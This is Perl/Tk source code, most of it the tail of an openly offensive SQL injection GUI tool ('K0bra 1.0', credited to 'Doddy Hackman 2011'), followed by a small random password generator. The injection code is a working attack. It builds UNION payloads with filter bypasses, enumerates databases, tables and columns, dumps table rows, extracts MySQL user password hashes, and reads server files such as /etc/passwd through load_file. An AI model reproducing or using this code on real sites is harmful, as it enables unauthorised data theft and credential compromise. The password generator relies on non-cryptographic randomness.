if ($test3=~/ERTOR854/ig) {
$informatero->insert("end","[load_file] : ON");
savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
}
$concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
$injection = $start.$concat.$end.$pass2;
$code = toma($injection);
if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
$informatero->insert("end","");
$informatero->insert("end","[+] DB Version : $1");
$informatero->insert("end","[+] DB Name : $2");
$informatero->insert("end","[+] user_name : $3");
savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n");
} else {
Win32::MsgBox("Not Found DB Info",0,"K0bra 1.0");
}
}
}
sub getdbs {
$datero->delete("0.0","end");
my $page = $targetero->get;
my $save = comer($page);
my $page1 = $page;
savefile($save.".txt","\n");
($pass1,$pass2) = &bypass($bypass);
$page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
$code = toma($page.$pass1."from".$pass1."information_schema.schemata");
if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
my $limita = $1;
$logo->update;
savefile($save.".txt","[+] Databases Length : $limita\n");
$page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
$real = "1";
for my $limit(0..$limita) {
$logo->update;
$code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);
if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
my $control = $1;
if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {
$datero->insert("end",$control);
savefile($save.".txt","[Database $real Found] : $control");
$real++;
}
}
}
} else {
Win32::MsgBox("information_schema not found",0,"K0bra 1.0");
}
}
sub schematablesdb {
$tablero->delete("0.0","end");
my $page = $targetero->get;
my $save = comer($page);
$d = $datero->curselection();
for my $id (@$d) {
my $db = $datero->get($id);
my $page1 = $page;
savefile($save.".txt","\n");
($pass1,$pass2) = &bypass($bypass);
savefile($save.".txt","[DB] : $db");
$page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
$page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
$code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);
#print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
$logo->update;
savefile($save.".txt","[+] Tables Length : $1\n");
my $limit = $1;
$real = "1";
for my $lim(0..$limit) {
$logo->update;
$code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);
#print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
my $table = $1;
chomp $table;
savefile($save.".txt","[Table $real Found : $table ]");
$tablero->insert("end",$db.".".$table);
$real++;
}}
} else {
Win32::MsgBox("information_schema not found",0,"K0bra 1.0");
}}}
sub schemacolumnsdb {
$columnero->delete("0.0","end");
my $page = $targetero->get;
my $save = comer($page);
$d = $tablero->curselection();
for my $id (@$d) {
my $da = $tablero->get($id);
if ($da=~/(.*)\.(.*)/) {
my ($db,$table) = ($1,$2);
my $page3 = $page;
my $page4 = $page;
savefile($save.".txt","\n");
($pass1,$pass2) = &bypass($bypass);
savefile($save.".txt","\n[DB] : $db");
savefile($save.".txt","[Table] : $table");
$page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
$code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass2);
if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
savefile($save.".txt","[Columns length : $1 ]\n");
my $si = $1;
chomp $si;
$page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
$real = "1";
for my $limit2(0..$si) {
$code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
$columnero->insert("end",$1);
savefile($save.".txt","[Column $real] : $1");
$real++;
}
}
} else {
Win32::MsgBox("information_schema not found",0,"K0bra 1.0");
}
}
}
}
sub mynow {
my $p = $targetero->get;
$mi = MainWindow->new();
$mi->title("Mysql Extractor");
$mi->geometry("500x310+20+20");
$mi->resizable(0,0);
$mi->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>50,-y=>20);
my $guix = $mi->Entry(-width=>40,-text=>$p)->place(-y=>23,-x=>110);
$mi->Button(-width=>10,-text=>"Extract",-command=>\&tengorax)->place(-y=>20,-x=>360);
$mi->Label(-text=>"Host",-font=>"Impact1")->place(-x=>60,-y=>120);
$mi->Label(-text=>"User",-font=>"Impact1")->place(-x=>200,-y=>120);
$mi->Label(-text=>"Password",-font=>"Impact1")->place(-x=>360,-y=>120);
my $hostero = $mi->Listbox(-width=>20)->place(-y=>150,-x=>40);
my $usero = $mi->Listbox(-width=>23)->place(-y=>150,-x=>180);
my $pasero = $mi->Listbox(-width=>20)->place(-y=>150,-x=>340);
sub tengorax {
my $page = $guix->get;
my $save = comer($page);
my $cop = $page;
my $cop1 = $page;
savefile($save.".txt","\n");
($pass1,$pass2) = &bypass($bypass);
$page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
$code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);
if ($code=~/RATSXPDOWN/ig){
$cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
$code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);
if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
$mi->update;
savefile($save.".txt","\n[+] Users mysql Found : $1\n");
for my $limit(0..$1) {
$mi->update;
$cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
$code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);
if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {
$mi->update;
$hostero->insert("end",$1);
$usero->insert("end",$2);
$pasero->insert("end",$3);
savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");
} else {
last;
}}}
} else {
Win32::MsgBox("mysql.user not found",0,"K0bra 1.0");
}
}
}
sub myfile {
my $pag = $targetero->get;
$loa = MainWindow->new();
$loa->title("load_file helper");
$loa->geometry("380x400+20+20");
$loa->resizable(0,0);
$loa->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>20,-y=>20);
my $aa = $loa->Entry(-width=>40,-text=>$pag)->place(-y=>23,-x=>80);
$loa->Label(-text=>"File : ",-font=>"Impact1")->place(-y=>60,-x=>23);
my $tea = $loa->Entry(-width=>20,-text=>"C:\leer.txt")->place(-y=>63,-x=>63);
$loa->Button(-text=>"Encode",-width=>8,-command=>\&eno)->place(-y=>62,-x=>200);
$loa->Button(-text=>"Show",-width=>8,-command=>\&ena)->place(-y=>62,-x=>263);
$loa->Label(-text=>"Output",-font=>"Impact1")->place(-x=>160,-y=>130);
my $mo = $loa->ROText(-width=>45,-height=>15)->place(-y=>170,-x=>25);
sub eno {
my $t = $tea->get;
if ($t=~/0x/) {
$tea->configure(-text=>decode($t));
} else {
$tea->configure(-text=>encode($t));
}
}
sub ena {
$mo->delete("0.0","end");
my $page = $aa->get;
my $save = comer($page);
savefile($save.".txt","\n");
($pass1,$pass2) = &bypass($bypass);
if ($page =~/(.*)hackman(.*)/g) {
my $start = $1; my $end = $2;
my $file = $tea->get;
$concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(".encode($file)."),char(69,82,84,79,82,56,53,52))))";
$code = toma($start.$concat.$end.$pass2);
if ($code =~/ERTOR854(.*)ERTOR854/g) {
$mo->insert("end",$1);
savefile($save.".txt","[File Found] : $file");
savefile($save.".txt","\n[Source Start]\n");
savefile($save.".txt","$1");
savefile($save.".txt","\n[Source End]\n");
} else {
Win32::MsgBox("Error",0,"K0bra 1.0");
}}}}
sub dum {
my $pa = $targetero->get;
$max = MainWindow->new();
$max->title("Dump Values");
$max->geometry("480x380+20+20");
$max->resizable(0,0);
$max->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>50,-y=>20);
my $tata = $max->Entry(-width=>40,-text=>$pa)->place(-y=>23,-x=>110);
$max->Label(-text=>"Table : ",-font=>"Impact1")->place(-x=>50,-y=>60);
my $tato = $max->Entry(-width=>20)->place(-x=>105,-y=>63);
$max->Label(-text=>"Column1 : ",-font=>"Impact1")->place(-y=>90,-x=>50);
my $tatu = $max->Entry(-width=>20)->place(-x=>130,-y=>93);
$max->Label(-text=>"Column2 : ",-font=>"Impact1")->place(-y=>130,-x=>50);
my $tita= $max->Entry(-width=>20)->place(-y=>133,-x=>130);
$max->Button(-width=>10,-text=>"Extract",-command=>\&tengor)->place(-y=>20,-x=>360);
$max->Label(-text=>"Column1",-font=>"Impact1")->place(-x=>100,-y=>180);
$max->Label(-text=>"Column2",-font=>"Impact1")->place(-x=>300,-y=>180);
my $duta1 = $max->Listbox(-width=>20)->place(-y=>210,-x=>70);
my $duta2 = $max->Listbox(-width=>23)->place(-y=>210,-x=>260);
sub tengor {
$duta1->delete("0.0","end");
$duta2->delete("0.0","end");
my $page = $tata->get;
my $tabla = $tato->get;
my $col1 = $tatu->get;
my $col2 = $tita->get;
my $save = comer($page);
savefile($save.".txt","\n");
($pass1,$pass2) = &bypass($bypass);
if ($page=~/(.*)hackman(.*)/){
my $start = $1;
my $end = $2;
$concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($col1),char(69,82,84,79,82,56,53,52))))";
$val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$tabla.$pass2);
$concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$col1,char(69,82,84,79,82,56,53,52),$col2,char(69,82,84,79,82,56,53,52))))";
if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {
$tota = $1;
savefile($save.".txt","[Table] : $tabla");
savefile($save.".txt","[+] Length of the rows: $tota\n");
savefile($save.".txt","[$col1] [$col2]\n");
for my $limit(0..$tota) {
chomp $limit;
$injection = toma($start.$concat.$end.$pass1."from".$pass1.$tabla.$pass1."limit".$pass1.$limit.",1".$pass2);
if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {
savefile($save.".txt","[$col1] : $1 [$col2] : $2");
$duta1->insert("end",$1);
$duta2->insert("end",$2);
} else {
last;
}}
} else {
Win32::MsgBox("Error",0,"K0bra 1.0");
}}}}
sub per1 {
my $he = MainWindow->new();
$he->title("Hex Converter (C) Doddy Hackman 2011");
$he->geometry("420x70+20+20");
$he->resizable(0,0);
$he->Label(-text=>"Text : ",-font=>"Impact1")->place(-x=>20,-y=>20);
my $cam = $he->Entry(-width=>30)->place(-y=>24,-x=>65);
$he->Button(-text=>"Encode",-width=>10,-command=>\&paso1)->place(-y=>20,-x=>255);
$he->Button(-text=>"Decode",-width=>10,-command=>\&paso2)->place(-y=>20,-x=>325);
sub paso1 {
my $caca = $cam->get();
chomp $caca;
$cam->configure(-text=>encode($caca));
}
sub paso2 {
my $caca = $cam->get();
chomp $caca;
$cam->configure(-text=>decode($caca));
}
}
sub per2 {
my $hexae = MainWindow->new();
$hexae->title("Ascii Converter (C) Doddy Hackman 2011");
$hexae->geometry("420x70+20+20");
$hexae->resizable(0,0);
$hexae->Label(-text=>"Text : ",-font=>"Impact1")->place(-x=>20,-y=>20);
my $cama = $hexae->Entry(-width=>30)->place(-y=>24,-x=>65);
$hexae->Button(-text=>"Encode",-width=>10,-command=>\&paso3)->place(-y=>20,-x=>255);
$hexae->Button(-text=>"Decode",-width=>10,-command=>\&paso4)->place(-y=>20,-x=>325);
sub paso3 {
my $caca = $cama->get();
chomp $caca;
$cama->configure(-text=>ascii($caca));
}
sub paso4 {
my $caca = $cama->get();
chomp $caca;
$cama->configure(-text=>ascii_de($caca));
}
}
sub china {
my $de = $targetero->get;
my $save = comer($de);
my $file = $save.".txt";
system("start logs/webs/$file");
}
sub bypass {
if ($_[0] eq "/*") { return ("/**/","/*"); }
elsif ($_[0] eq "%20") { return ("%20","%00"); }
else {return ("+","--");}}
sub ascii {
return join ',',unpack "U*",$_[0];
}
sub ascii_de {
$_[0] = join q[], map { chr } split q[,],$_[0];
return $_[0];
}
sub encode {
my $string = $_[0];
$hex = '0x';
for (split //,$string) {
$hex .= sprintf "%x", ord;
}
return $hex;
}
sub decode {
$_[0] =~ s/^0x//;
$encode = join q[], map { chr hex } $_[0] =~ /../g;
return $encode;
}
sub toma {
return $nave->get($_[0])->content;
}
sub savefile {
open (SAVE,">>logs/webs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}
sub comer {
my ($scheme, $auth, $path, $query, $frag) = uri_split($_[0]);
return $auth;
}
# ¿ The End ?

#!usr/bin/perl
#Gen Password (C) Doddy Hackman 2011
use Tk;
if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}
my $sin = MainWindow->new();
$sin->title("Gen Password (C) Doddy Hackman 2011");
$sin->geometry("530x80+20+20");
$sin->resizable(0,0);
$sin->Label(-text=>"Result : ",-font=>"Impact1")->place(-x=>30,-y=>20);
my $rex = $sin->Text(-width=>28,-height=>1)->place(-y=>24,-x=>90);
$sin->Label(-text=>"Length : ",-font=>"Impact1")->place(-x=>310,-y=>20);
my $leng = $sin->Entry(-width=>3,-text=>3)->place(-y=>24,-x=>370);
$sin->Button(-text=>"Generate",-command=>\&gen,-width=>12)->place(-y=>22,-x=>410);
MainLoop;
sub gen {
$rex->delete("0.0","end");
my $ala = $leng->get;
my @password = genpass($ala);
for $pass(@password) {
$rex->insert("end",$pass);
}}
sub genpass {
my $length = shift;
my @re;
my @mayus = (A..Z);
my @minus = (a..z);
my @number = (0..9);
my @op = (1..3);
for (1..$length) {
my $opt = @op[rand(@op)];
if ($opt eq 1) {
push(@re,@mayus[rand(@mayus)]);
}
elsif ($opt eq 2) {
push(@re,@minus[rand(@minus)]);
}
elsif ($opt eq 3) {
push(@re,@number[rand(@number)]);
}
}
return @re;
}
#Thanks to explorer (perlenespanol)
# ¿ The End ?